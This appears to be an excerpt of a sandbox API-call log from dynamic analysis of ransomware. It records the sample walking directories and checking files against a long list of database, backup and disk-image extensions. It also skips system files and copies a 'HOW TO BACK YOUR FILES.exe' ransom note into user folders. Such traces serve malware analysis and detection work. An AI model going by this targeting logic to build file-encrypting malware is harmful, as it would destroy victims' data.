	[0036.513] lstrlenW (lpString="eco") returned 3
	[0036.513] lstrcmpiW (lpString1="ini", lpString2="eco") returned 1
	[0036.513] lstrlenW (lpString="ecx") returned 3
	[0036.513] lstrcmpiW (lpString1="ini", lpString2="ecx") returned 1
	[0036.513] lstrlenW (lpString="edb") returned 3
	[0036.513] lstrcmpiW (lpString1="ini", lpString2="edb") returned 1
	[0036.513] lstrlenW (lpString="epim") returned 4
	[0036.513] lstrcmpiW (lpString1=".ini", lpString2="epim") returned -1
	[0036.513] lstrlenW (lpString="fcd") returned 3
	[0036.513] lstrcmpiW (lpString1="ini", lpString2="fcd") returned 1
	[0036.513] lstrlenW (lpString="fdb") returned 3
	[0036.513] lstrcmpiW (lpString1="ini", lpString2="fdb") returned 1
	[0036.513] lstrlenW (lpString="fic") returned 3
	[0036.513] lstrcmpiW (lpString1="ini", lpString2="fic") returned 1
	[0036.513] lstrlenW (lpString="flexolibrary") returned 12
	[0036.513] lstrlenW (lpString="fm5") returned 3
	[0036.513] lstrcmpiW (lpString1="ini", lpString2="fm5") returned 1
	[0036.513] lstrlenW (lpString="fmp") returned 3
	[0036.513] lstrcmpiW (lpString1="ini", lpString2="fmp") returned 1
	[0036.513] lstrlenW (lpString="fmp12") returned 5
	[0036.513] lstrcmpiW (lpString1="p.ini", lpString2="fmp12") returned 1
	[0036.513] lstrlenW (lpString="fmpsl") returned 5
	[0036.513] lstrcmpiW (lpString1="p.ini", lpString2="fmpsl") returned 1
	[0036.513] lstrlenW (lpString="fol") returned 3
	[0036.513] lstrcmpiW (lpString1="ini", lpString2="fol") returned 1
	[0036.514] lstrlenW (lpString="fp3") returned 3
	[0036.514] lstrcmpiW (lpString1="ini", lpString2="fp3") returned 1
	[0036.514] lstrlenW (lpString="fp4") returned 3
	[0036.514] lstrcmpiW (lpString1="ini", lpString2="fp4") returned 1
	[0036.514] lstrlenW (lpString="fp5") returned 3
	[0036.514] lstrcmpiW (lpString1="ini", lpString2="fp5") returned 1
	[0036.514] lstrlenW (lpString="fp7") returned 3
	[0036.514] lstrcmpiW (lpString1="ini", lpString2="fp7") returned 1
	[0036.514] lstrlenW (lpString="fpt") returned 3
	[0036.514] lstrcmpiW (lpString1="ini", lpString2="fpt") returned 1
	[0036.514] lstrlenW (lpString="frm") returned 3
	[0036.514] lstrcmpiW (lpString1="ini", lpString2="frm") returned 1
	[0036.514] lstrlenW (lpString="gdb") returned 3
	[0036.514] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1
	[0036.514] lstrlenW (lpString="gdb") returned 3
	[0036.514] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1
	[0036.514] lstrlenW (lpString="grdb") returned 4
	[0036.514] lstrcmpiW (lpString1=".ini", lpString2="grdb") returned -1
	[0036.514] lstrlenW (lpString="gwi") returned 3
	[0036.514] lstrcmpiW (lpString1="ini", lpString2="gwi") returned 1
	[0036.514] lstrlenW (lpString="hdb") returned 3
	[0036.514] lstrcmpiW (lpString1="ini", lpString2="hdb") returned 1
	[0036.514] lstrlenW (lpString="his") returned 3
	[0036.514] lstrcmpiW (lpString1="ini", lpString2="his") returned 1
	[0036.514] lstrlenW (lpString="ib") returned 2
	[0036.514] lstrcmpiW (lpString1="ni", lpString2="ib") returned 1
	[0036.514] lstrlenW (lpString="idb") returned 3
	[0036.514] lstrcmpiW (lpString1="ini", lpString2="idb") returned 1
	[0036.514] lstrlenW (lpString="ihx") returned 3
	[0036.514] lstrcmpiW (lpString1="ini", lpString2="ihx") returned 1
	[0036.514] lstrlenW (lpString="itdb") returned 4
	[0036.514] lstrcmpiW (lpString1=".ini", lpString2="itdb") returned -1
	[0036.514] lstrlenW (lpString="itw") returned 3
	[0036.514] lstrcmpiW (lpString1="ini", lpString2="itw") returned -1
	[0036.514] lstrlenW (lpString="jet") returned 3
	[0036.514] lstrcmpiW (lpString1="ini", lpString2="jet") returned -1
	[0036.514] lstrlenW (lpString="jtx") returned 3
	[0036.514] lstrcmpiW (lpString1="ini", lpString2="jtx") returned -1
	[0036.515] lstrlenW (lpString="kdb") returned 3
	[0036.515] lstrcmpiW (lpString1="ini", lpString2="kdb") returned -1
	[0036.515] lstrlenW (lpString="kexi") returned 4
	[0036.515] lstrcmpiW (lpString1=".ini", lpString2="kexi") returned -1
	[0036.515] lstrlenW (lpString="kexic") returned 5
	[0036.515] lstrcmpiW (lpString1="p.ini", lpString2="kexic") returned 1
	[0036.515] lstrlenW (lpString="kexis") returned 5
	[0036.515] lstrcmpiW (lpString1="p.ini", lpString2="kexis") returned 1
	[0036.515] lstrlenW (lpString="lgc") returned 3
	[0036.515] lstrcmpiW (lpString1="ini", lpString2="lgc") returned -1
	[0036.515] lstrlenW (lpString="lwx") returned 3
	[0036.515] lstrcmpiW (lpString1="ini", lpString2="lwx") returned -1
	[0036.515] lstrlenW (lpString="maf") returned 3
	[0036.515] lstrcmpiW (lpString1="ini", lpString2="maf") returned -1
	[0036.515] lstrlenW (lpString="maq") returned 3
	[0036.515] lstrcmpiW (lpString1="ini", lpString2="maq") returned -1
	[0036.515] lstrlenW (lpString="mar") returned 3
	[0036.515] lstrcmpiW (lpString1="ini", lpString2="mar") returned -1
	[0036.515] lstrlenW (lpString="marshal") returned 7
	[0036.515] lstrcmpiW (lpString1="top.ini", lpString2="marshal") returned 1
	[0036.515] lstrlenW (lpString="mas") returned 3
	[0036.515] lstrcmpiW (lpString1="ini", lpString2="mas") returned -1
	[0036.515] lstrlenW (lpString="mav") returned 3
	[0036.515] lstrcmpiW (lpString1="ini", lpString2="mav") returned -1
	[0036.515] lstrlenW (lpString="maw") returned 3
	[0036.515] lstrcmpiW (lpString1="ini", lpString2="maw") returned -1
	[0036.515] lstrlenW (lpString="mdbhtml") returned 7
	[0036.515] lstrcmpiW (lpString1="top.ini", lpString2="mdbhtml") returned 1
	[0036.515] lstrlenW (lpString="mdn") returned 3
	[0036.515] lstrcmpiW (lpString1="ini", lpString2="mdn") returned -1
	[0036.515] lstrlenW (lpString="mdt") returned 3
	[0036.515] lstrcmpiW (lpString1="ini", lpString2="mdt") returned -1
	[0036.515] lstrlenW (lpString="mfd") returned 3
	[0036.515] lstrcmpiW (lpString1="ini", lpString2="mfd") returned -1
	[0036.515] lstrlenW (lpString="mpd") returned 3
	[0036.515] lstrcmpiW (lpString1="ini", lpString2="mpd") returned -1
	[0036.515] lstrlenW (lpString="mrg") returned 3
	[0036.515] lstrcmpiW (lpString1="ini", lpString2="mrg") returned -1
	[0036.515] lstrlenW (lpString="mud") returned 3
	[0036.516] lstrcmpiW (lpString1="ini", lpString2="mud") returned -1
	[0036.516] lstrlenW (lpString="mwb") returned 3
	[0036.516] lstrcmpiW (lpString1="ini", lpString2="mwb") returned -1
	[0036.516] lstrlenW (lpString="myd") returned 3
	[0036.516] lstrcmpiW (lpString1="ini", lpString2="myd") returned -1
	[0036.516] lstrlenW (lpString="ndf") returned 3
	[0036.516] lstrcmpiW (lpString1="ini", lpString2="ndf") returned -1
	[0036.516] lstrlenW (lpString="nnt") returned 3
	[0036.516] lstrcmpiW (lpString1="ini", lpString2="nnt") returned -1
	[0036.516] lstrlenW (lpString="nrmlib") returned 6
	[0036.516] lstrcmpiW (lpString1="op.ini", lpString2="nrmlib") returned 1
	[0036.516] lstrlenW (lpString="ns2") returned 3
	[0036.516] lstrcmpiW (lpString1="ini", lpString2="ns2") returned -1
	[0036.516] lstrlenW (lpString="ns3") returned 3
	[0036.516] lstrcmpiW (lpString1="ini", lpString2="ns3") returned -1
	[0036.516] lstrlenW (lpString="ns4") returned 3
	[0036.516] lstrcmpiW (lpString1="ini", lpString2="ns4") returned -1
	[0036.516] lstrlenW (lpString="nsf") returned 3
	[0036.516] lstrcmpiW (lpString1="ini", lpString2="nsf") returned -1
	[0036.516] lstrlenW (lpString="nv") returned 2
	[0036.516] lstrcmpiW (lpString1="ni", lpString2="nv") returned -1
	[0036.516] lstrlenW (lpString="nv2") returned 3
	[0036.516] lstrcmpiW (lpString1="ini", lpString2="nv2") returned -1
	[0036.516] lstrlenW (lpString="nwdb") returned 4
	[0036.516] lstrcmpiW (lpString1=".ini", lpString2="nwdb") returned -1
	[0036.516] lstrlenW (lpString="nyf") returned 3
	[0036.516] lstrcmpiW (lpString1="ini", lpString2="nyf") returned -1
	[0036.516] lstrlenW (lpString="odb") returned 3
	[0036.516] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1
	[0036.516] lstrlenW (lpString="odb") returned 3
	[0036.516] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1
	[0036.516] lstrlenW (lpString="oqy") returned 3
	[0036.516] lstrcmpiW (lpString1="ini", lpString2="oqy") returned -1
	[0036.516] lstrlenW (lpString="ora") returned 3
	[0036.516] lstrcmpiW (lpString1="ini", lpString2="ora") returned -1
	[0036.516] lstrlenW (lpString="orx") returned 3
	[0036.516] lstrcmpiW (lpString1="ini", lpString2="orx") returned -1
	[0036.516] lstrlenW (lpString="owc") returned 3
	[0036.516] lstrcmpiW (lpString1="ini", lpString2="owc") returned -1
	[0036.517] lstrlenW (lpString="p96") returned 3
	[0036.517] lstrcmpiW (lpString1="ini", lpString2="p96") returned -1
	[0036.517] lstrlenW (lpString="p97") returned 3
	[0036.517] lstrcmpiW (lpString1="ini", lpString2="p97") returned -1
	[0036.517] lstrlenW (lpString="pan") returned 3
	[0036.517] lstrcmpiW (lpString1="ini", lpString2="pan") returned -1
	[0036.517] lstrlenW (lpString="pdb") returned 3
	[0036.517] lstrcmpiW (lpString1="ini", lpString2="pdb") returned -1
	[0036.517] lstrlenW (lpString="pdm") returned 3
	[0036.517] lstrcmpiW (lpString1="ini", lpString2="pdm") returned -1
	[0036.517] lstrlenW (lpString="pnz") returned 3
	[0036.517] lstrcmpiW (lpString1="ini", lpString2="pnz") returned -1
	[0036.517] lstrlenW (lpString="qry") returned 3
	[0036.517] lstrcmpiW (lpString1="ini", lpString2="qry") returned -1
	[0036.517] lstrlenW (lpString="qvd") returned 3
	[0036.517] lstrcmpiW (lpString1="ini", lpString2="qvd") returned -1
	[0036.517] lstrlenW (lpString="rbf") returned 3
	[0036.517] lstrcmpiW (lpString1="ini", lpString2="rbf") returned -1
	[0036.517] lstrlenW (lpString="rctd") returned 4
	[0036.517] lstrcmpiW (lpString1=".ini", lpString2="rctd") returned -1
	[0036.517] lstrlenW (lpString="rod") returned 3
	[0036.517] lstrcmpiW (lpString1="ini", lpString2="rod") returned -1
	[0036.517] lstrlenW (lpString="rodx") returned 4
	[0036.517] lstrcmpiW (lpString1=".ini", lpString2="rodx") returned -1
	[0036.517] lstrlenW (lpString="rpd") returned 3
	[0036.517] lstrcmpiW (lpString1="ini", lpString2="rpd") returned -1
	[0036.517] lstrlenW (lpString="rsd") returned 3
	[0036.517] lstrcmpiW (lpString1="ini", lpString2="rsd") returned -1
	[0036.517] lstrlenW (lpString="sas7bdat") returned 8
	[0036.517] lstrcmpiW (lpString1="ktop.ini", lpString2="sas7bdat") returned -1
	[0036.517] lstrlenW (lpString="sbf") returned 3
	[0036.517] lstrcmpiW (lpString1="ini", lpString2="sbf") returned -1
	[0036.517] lstrlenW (lpString="scx") returned 3
	[0036.517] lstrcmpiW (lpString1="ini", lpString2="scx") returned -1
	[0036.517] lstrlenW (lpString="sdb") returned 3
	[0036.517] lstrcmpiW (lpString1="ini", lpString2="sdb") returned -1
	[0036.517] lstrlenW (lpString="sdc") returned 3
	[0036.518] lstrcmpiW (lpString1="ini", lpString2="sdc") returned -1
	[0036.518] lstrlenW (lpString="sdf") returned 3
	[0036.518] lstrcmpiW (lpString1="ini", lpString2="sdf") returned -1
	[0036.518] lstrlenW (lpString="sis") returned 3
	[0036.518] lstrcmpiW (lpString1="ini", lpString2="sis") returned -1
	[0036.518] lstrlenW (lpString="spq") returned 3
	[0036.518] lstrcmpiW (lpString1="ini", lpString2="spq") returned -1
	[0036.518] lstrlenW (lpString="te") returned 2
	[0036.518] lstrcmpiW (lpString1="ni", lpString2="te") returned -1
	[0036.518] lstrlenW (lpString="teacher") returned 7
	[0036.518] lstrcmpiW (lpString1="top.ini", lpString2="teacher") returned 1
	[0036.518] lstrlenW (lpString="tmd") returned 3
	[0036.518] lstrcmpiW (lpString1="ini", lpString2="tmd") returned -1
	[0036.518] lstrlenW (lpString="tps") returned 3
	[0036.518] lstrcmpiW (lpString1="ini", lpString2="tps") returned -1
	[0036.518] lstrlenW (lpString="trc") returned 3
	[0036.518] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1
	[0036.518] lstrlenW (lpString="trc") returned 3
	[0036.518] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1
	[0036.518] lstrlenW (lpString="trm") returned 3
	[0036.518] lstrcmpiW (lpString1="ini", lpString2="trm") returned -1
	[0036.518] lstrlenW (lpString="udb") returned 3
	[0036.518] lstrcmpiW (lpString1="ini", lpString2="udb") returned -1
	[0036.518] lstrlenW (lpString="udl") returned 3
	[0036.518] lstrcmpiW (lpString1="ini", lpString2="udl") returned -1
	[0036.518] lstrlenW (lpString="usr") returned 3
	[0036.518] lstrcmpiW (lpString1="ini", lpString2="usr") returned -1
	[0036.518] lstrlenW (lpString="v12") returned 3
	[0036.518] lstrcmpiW (lpString1="ini", lpString2="v12") returned -1
	[0036.518] lstrlenW (lpString="vis") returned 3
	[0036.518] lstrcmpiW (lpString1="ini", lpString2="vis") returned -1
	[0036.518] lstrlenW (lpString="vpd") returned 3
	[0036.518] lstrcmpiW (lpString1="ini", lpString2="vpd") returned -1
	[0036.518] lstrlenW (lpString="vvv") returned 3
	[0036.518] lstrcmpiW (lpString1="ini", lpString2="vvv") returned -1
	[0036.518] lstrlenW (lpString="wdb") returned 3
	[0036.518] lstrcmpiW (lpString1="ini", lpString2="wdb") returned -1
	[0036.518] lstrlenW (lpString="wmdb") returned 4
	[0036.519] lstrcmpiW (lpString1=".ini", lpString2="wmdb") returned -1
	[0036.519] lstrlenW (lpString="wrk") returned 3
	[0036.519] lstrcmpiW (lpString1="ini", lpString2="wrk") returned -1
	[0036.519] lstrlenW (lpString="xdb") returned 3
	[0036.519] lstrcmpiW (lpString1="ini", lpString2="xdb") returned -1
	[0036.519] lstrlenW (lpString="xld") returned 3
	[0036.519] lstrcmpiW (lpString1="ini", lpString2="xld") returned -1
	[0036.519] lstrlenW (lpString="xmlff") returned 5
	[0036.519] lstrcmpiW (lpString1="p.ini", lpString2="xmlff") returned -1
	[0036.519] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99d9932, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Everywhere.search-ms", cAlternateFileName="EVERYW~1.SEA")) returned 1
	[0036.519] lstrcmpiW (lpString1="Everywhere.search-ms", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0036.519] lstrcmpiW (lpString1="Everywhere.search-ms", lpString2="Apollon865.txt.exe") returned 1
	[0036.519] lstrcmpiW (lpString1="Everywhere.search-ms", lpString2=".") returned 1
	[0036.519] lstrcmpiW (lpString1="Everywhere.search-ms", lpString2="..") returned 1
	[0036.519] lstrcmpiW (lpString1="Everywhere.search-ms", lpString2="windows") returned -1
	[0036.519] lstrcmpiW (lpString1="Everywhere.search-ms", lpString2="bootmgr") returned 1
	[0036.519] lstrcmpiW (lpString1="Everywhere.search-ms", lpString2="temp") returned -1
	[0036.519] lstrcmpiW (lpString1="Everywhere.search-ms", lpString2="pagefile.sys") returned -1
	[0036.519] lstrcmpiW (lpString1="Everywhere.search-ms", lpString2="boot") returned 1
	[0036.519] lstrcmpiW (lpString1="Everywhere.search-ms", lpString2="ids.txt") returned -1
	[0036.519] lstrcmpiW (lpString1="Everywhere.search-ms", lpString2="ntuser.dat") returned -1
	[0036.519] lstrcmpiW (lpString1="Everywhere.search-ms", lpString2="perflogs") returned -1
	[0036.519] lstrcmpiW (lpString1="Everywhere.search-ms", lpString2="MSBuild") returned -1
	[0036.519] lstrlenW (lpString="Everywhere.search-ms") returned 20
	[0036.519] lstrlenW (lpString="C:\\Users\\Default\\Searches\\desktop.ini") returned 37
	[0036.519] lstrcpyW (in: lpString1=0x2d3e584, lpString2="Everywhere.search-ms" | out: lpString1="Everywhere.search-ms") returned="Everywhere.search-ms"
	[0036.519] SetFileAttributesW (lpFileName="C:\\Users\\Default\\Searches\\Everywhere.search-ms", dwFileAttributes=0x22) returned 1
	[0036.522] lstrlenW (lpString="Everywhere.search-ms") returned 20
	[0036.522] lstrlenW (lpString="Apollon865") returned 10
	[0036.522] lstrcmpiW (lpString1=".search-ms", lpString2="Apollon865") returned -1
	[0036.522] lstrlenW (lpString=".dll") returned 4
	[0036.523] lstrcmpiW (lpString1="Everywhere.search-ms", lpString2=".dll") returned 1
	[0036.523] lstrlenW (lpString=".lnk") returned 4
	[0036.523] lstrcmpiW (lpString1="Everywhere.search-ms", lpString2=".lnk") returned 1
	[0036.523] lstrlenW (lpString=".ini") returned 4
	[0036.523] lstrcmpiW (lpString1="Everywhere.search-ms", lpString2=".ini") returned 1
	[0036.523] lstrlenW (lpString=".sys") returned 4
	[0036.523] lstrcmpiW (lpString1="Everywhere.search-ms", lpString2=".sys") returned 1
	[0036.523] lstrlenW (lpString="Everywhere.search-ms") returned 20
	[0036.523] lstrlenW (lpString="bak") returned 3
	[0036.523] lstrcmpiW (lpString1="-ms", lpString2="bak") returned 1
	[0036.523] lstrlenW (lpString="ba_") returned 3
	[0036.523] lstrcmpiW (lpString1="-ms", lpString2="ba_") returned 1
	[0036.523] lstrlenW (lpString="dbb") returned 3
	[0036.523] lstrcmpiW (lpString1="-ms", lpString2="dbb") returned 1
	[0036.523] lstrlenW (lpString="vmdk") returned 4
	[0036.523] lstrcmpiW (lpString1="h-ms", lpString2="vmdk") returned -1
	[0036.523] lstrlenW (lpString="rar") returned 3
	[0036.523] lstrcmpiW (lpString1="-ms", lpString2="rar") returned -1
	[0036.523] lstrlenW (lpString="zip") returned 3
	[0036.523] lstrcmpiW (lpString1="-ms", lpString2="zip") returned -1
	[0036.523] lstrlenW (lpString="tgz") returned 3
	[0036.523] lstrcmpiW (lpString1="-ms", lpString2="tgz") returned -1
	[0036.523] lstrlenW (lpString="vbox") returned 4
	[0036.523] lstrcmpiW (lpString1="h-ms", lpString2="vbox") returned -1
	[0036.523] lstrlenW (lpString="vdi") returned 3
	[0036.523] lstrcmpiW (lpString1="-ms", lpString2="vdi") returned -1
	[0036.523] lstrlenW (lpString="vhd") returned 3
	[0036.523] lstrcmpiW (lpString1="-ms", lpString2="vhd") returned -1
	[0036.523] lstrlenW (lpString="vhdx") returned 4
	[0036.523] lstrcmpiW (lpString1="h-ms", lpString2="vhdx") returned -1
	[0036.523] lstrlenW (lpString="avhd") returned 4
	[0036.523] lstrcmpiW (lpString1="h-ms", lpString2="avhd") returned 1
	[0036.523] lstrlenW (lpString="db") returned 2
	[0036.523] lstrcmpiW (lpString1="ms", lpString2="db") returned 1
	[0036.523] lstrlenW (lpString="db2") returned 3
	[0036.523] lstrcmpiW (lpString1="-ms", lpString2="db2") returned 1
	[0036.523] lstrlenW (lpString="db3") returned 3
	[0036.523] lstrcmpiW (lpString1="-ms", lpString2="db3") returned 1
	[0036.523] lstrlenW (lpString="dbf") returned 3
	[0036.524] lstrcmpiW (lpString1="-ms", lpString2="dbf") returned 1
	[0036.524] lstrlenW (lpString="mdf") returned 3
	[0036.524] lstrcmpiW (lpString1="-ms", lpString2="mdf") returned 1
	[0036.524] lstrlenW (lpString="mdb") returned 3
	[0036.524] lstrcmpiW (lpString1="-ms", lpString2="mdb") returned 1
	[0036.524] lstrlenW (lpString="sql") returned 3
	[0036.524] lstrcmpiW (lpString1="-ms", lpString2="sql") returned -1
	[0036.524] lstrlenW (lpString="sqlite") returned 6
	[0036.524] lstrcmpiW (lpString1="rch-ms", lpString2="sqlite") returned -1
	[0036.524] lstrlenW (lpString="sqlite3") returned 7
	[0036.524] lstrcmpiW (lpString1="arch-ms", lpString2="sqlite3") returned -1
	[0036.524] lstrlenW (lpString="sqlitedb") returned 8
	[0036.524] lstrcmpiW (lpString1="earch-ms", lpString2="sqlitedb") returned -1
	[0036.524] lstrlenW (lpString="xml") returned 3
	[0036.524] lstrcmpiW (lpString1="-ms", lpString2="xml") returned -1
	[0036.524] lstrlenW (lpString="$er") returned 3
	[0036.524] lstrcmpiW (lpString1="-ms", lpString2="$er") returned 1
	[0036.524] lstrlenW (lpString="4dd") returned 3
	[0036.524] lstrcmpiW (lpString1="-ms", lpString2="4dd") returned 1
	[0036.524] lstrlenW (lpString="4dl") returned 3
	[0036.524] lstrcmpiW (lpString1="-ms", lpString2="4dl") returned 1
	[0036.524] lstrlenW (lpString="^^^") returned 3
	[0036.524] lstrcmpiW (lpString1="-ms", lpString2="^^^") returned 1
	[0036.524] lstrlenW (lpString="abs") returned 3
	[0036.524] lstrcmpiW (lpString1="-ms", lpString2="abs") returned 1
	[0036.524] lstrlenW (lpString="abx") returned 3
	[0036.524] lstrcmpiW (lpString1="-ms", lpString2="abx") returned 1
	[0036.524] lstrlenW (lpString="accdb") returned 5
	[0036.524] lstrcmpiW (lpString1="ch-ms", lpString2="accdb") returned 1
	[0036.524] lstrlenW (lpString="accdc") returned 5
	[0036.524] lstrcmpiW (lpString1="ch-ms", lpString2="accdc") returned 1
	[0036.524] lstrlenW (lpString="accde") returned 5
	[0036.524] lstrcmpiW (lpString1="ch-ms", lpString2="accde") returned 1
	[0036.524] lstrlenW (lpString="accdr") returned 5
	[0036.524] lstrcmpiW (lpString1="ch-ms", lpString2="accdr") returned 1
	[0036.524] lstrlenW (lpString="accdt") returned 5
	[0036.524] lstrcmpiW (lpString1="ch-ms", lpString2="accdt") returned 1
	[0036.524] lstrlenW (lpString="accdw") returned 5
	[0036.524] lstrcmpiW (lpString1="ch-ms", lpString2="accdw") returned 1
	[0036.525] lstrlenW (lpString="accft") returned 5
	[0036.525] lstrcmpiW (lpString1="ch-ms", lpString2="accft") returned 1
	[0036.525] lstrlenW (lpString="adb") returned 3
	[0036.525] lstrcmpiW (lpString1="-ms", lpString2="adb") returned 1
	[0036.525] lstrlenW (lpString="adb") returned 3
	[0036.525] lstrcmpiW (lpString1="-ms", lpString2="adb") returned 1
	[0036.525] lstrlenW (lpString="ade") returned 3
	[0036.525] lstrcmpiW (lpString1="-ms", lpString2="ade") returned 1
	[0036.525] lstrlenW (lpString="adf") returned 3
	[0036.525] lstrcmpiW (lpString1="-ms", lpString2="adf") returned 1
	[0036.525] lstrlenW (lpString="adn") returned 3
	[0036.525] lstrcmpiW (lpString1="-ms", lpString2="adn") returned 1
	[0036.525] lstrlenW (lpString="adp") returned 3
	[0036.525] lstrcmpiW (lpString1="-ms", lpString2="adp") returned 1
	[0036.525] lstrlenW (lpString="alf") returned 3
	[0036.525] lstrcmpiW (lpString1="-ms", lpString2="alf") returned 1
	[0036.525] lstrlenW (lpString="ask") returned 3
	[0036.525] lstrcmpiW (lpString1="-ms", lpString2="ask") returned 1
	[0036.525] lstrlenW (lpString="btr") returned 3
	[0036.525] lstrcmpiW (lpString1="-ms", lpString2="btr") returned 1
	[0036.525] lstrlenW (lpString="cat") returned 3
	[0036.525] lstrcmpiW (lpString1="-ms", lpString2="cat") returned 1
	[0036.525] lstrlenW (lpString="cdb") returned 3
	[0036.525] lstrcmpiW (lpString1="-ms", lpString2="cdb") returned 1
	[0036.525] lstrlenW (lpString="ckp") returned 3
	[0036.525] lstrcmpiW (lpString1="-ms", lpString2="ckp") returned 1
	[0036.525] lstrlenW (lpString="cma") returned 3
	[0036.525] lstrcmpiW (lpString1="-ms", lpString2="cma") returned 1
	[0036.525] lstrlenW (lpString="cpd") returned 3
	[0036.525] lstrcmpiW (lpString1="-ms", lpString2="cpd") returned 1
	[0036.525] lstrlenW (lpString="dacpac") returned 6
	[0036.525] lstrcmpiW (lpString1="rch-ms", lpString2="dacpac") returned 1
	[0036.525] lstrlenW (lpString="dad") returned 3
	[0036.525] lstrcmpiW (lpString1="-ms", lpString2="dad") returned 1
	[0036.525] lstrlenW (lpString="dadiagrams") returned 10
	[0036.525] lstrcmpiW (lpString1=".search-ms", lpString2="dadiagrams") returned -1
	[0036.526] lstrlenW (lpString="daschema") returned 8
	[0036.526] lstrcmpiW (lpString1="earch-ms", lpString2="daschema") returned 1
	[0036.526] lstrlenW (lpString="db-journal") returned 10
	[0036.526] lstrcmpiW (lpString1=".search-ms", lpString2="db-journal") returned -1
	[0036.526] lstrlenW (lpString="db-shm") returned 6
	[0036.526] lstrcmpiW (lpString1="rch-ms", lpString2="db-shm") returned 1
	[0036.526] lstrlenW (lpString="db-wal") returned 6
	[0036.526] lstrcmpiW (lpString1="rch-ms", lpString2="db-wal") returned 1
	[0036.526] lstrlenW (lpString="dbc") returned 3
	[0036.526] lstrcmpiW (lpString1="-ms", lpString2="dbc") returned 1
	[0036.526] lstrlenW (lpString="dbs") returned 3
	[0036.526] lstrcmpiW (lpString1="-ms", lpString2="dbs") returned 1
	[0036.526] lstrlenW (lpString="dbt") returned 3
	[0036.526] lstrcmpiW (lpString1="-ms", lpString2="dbt") returned 1
	[0036.526] lstrlenW (lpString="dbv") returned 3
	[0036.526] lstrcmpiW (lpString1="-ms", lpString2="dbv") returned 1
	[0036.526] lstrlenW (lpString="dbx") returned 3
	[0036.526] lstrcmpiW (lpString1="-ms", lpString2="dbx") returned 1
	[0036.526] lstrlenW (lpString="dcb") returned 3
	[0036.526] lstrcmpiW (lpString1="-ms", lpString2="dcb") returned 1
	[0036.526] lstrcmpiW (lpString1="-ms", lpString2="dct") returned 1
	[0036.526] lstrcpyW (in: lpString1=0x2d3e584, lpString2="Indexed Locations.search-ms" | out: lpString1="Indexed Locations.search-ms") returned="Indexed Locations.search-ms"
	[0036.526] SetFileAttributesW (lpFileName="C:\\Users\\Default\\Searches\\Indexed Locations.search-ms", dwFileAttributes=0x22) returned 1
	[0036.527] lstrlenW (lpString="Indexed Locations.search-ms") returned 27
	[0036.527] lstrlenW (lpString="Apollon865") returned 10
	[0036.527] lstrcmpiW (lpString1=".search-ms", lpString2="Apollon865") returned -1
	[0036.527] lstrlenW (lpString=".dll") returned 4
	[0036.527] lstrcmpiW (lpString1="Indexed Locations.search-ms", lpString2=".dll") returned 1
	[0036.527] lstrlenW (lpString=".lnk") returned 4
	[0036.527] lstrcmpiW (lpString1="Indexed Locations.search-ms", lpString2=".lnk") returned 1
	[0036.527] lstrlenW (lpString=".ini") returned 4
	[0036.527] lstrcmpiW (lpString1="Indexed Locations.search-ms", lpString2=".ini") returned 1
	[0036.527] lstrlenW (lpString=".sys") returned 4
	[0036.527] lstrcmpiW (lpString1="Indexed Locations.search-ms", lpString2=".sys") returned 1
	[0036.527] lstrlenW (lpString="Indexed Locations.search-ms") returned 27
	[0036.527] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\Default\\Saved Games", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\Saved Games") returned="C:\\Users\\Default\\Saved Games"
	[0036.527] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b6118 | out: hHeap=0x580000) returned 1
	[0036.527] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c48 | out: hHeap=0x580000) returned 1
	[0036.527] lstrlenW (lpString="C:\\Users\\Default\\Saved Games") returned 28
	[0036.527] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\Saved Games" | out: lpString1="C:\\Users\\Default\\Saved Games") returned="C:\\Users\\Default\\Saved Games"
	[0036.527] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0036.527] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\Saved Games\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\saved games\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0036.531] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0036.531] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Saved Games\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfc1b70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2dfc1b70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0036.531] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0036.531] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0036.531] lstrcmpiW (lpString1=".", lpString2=".") returned 0
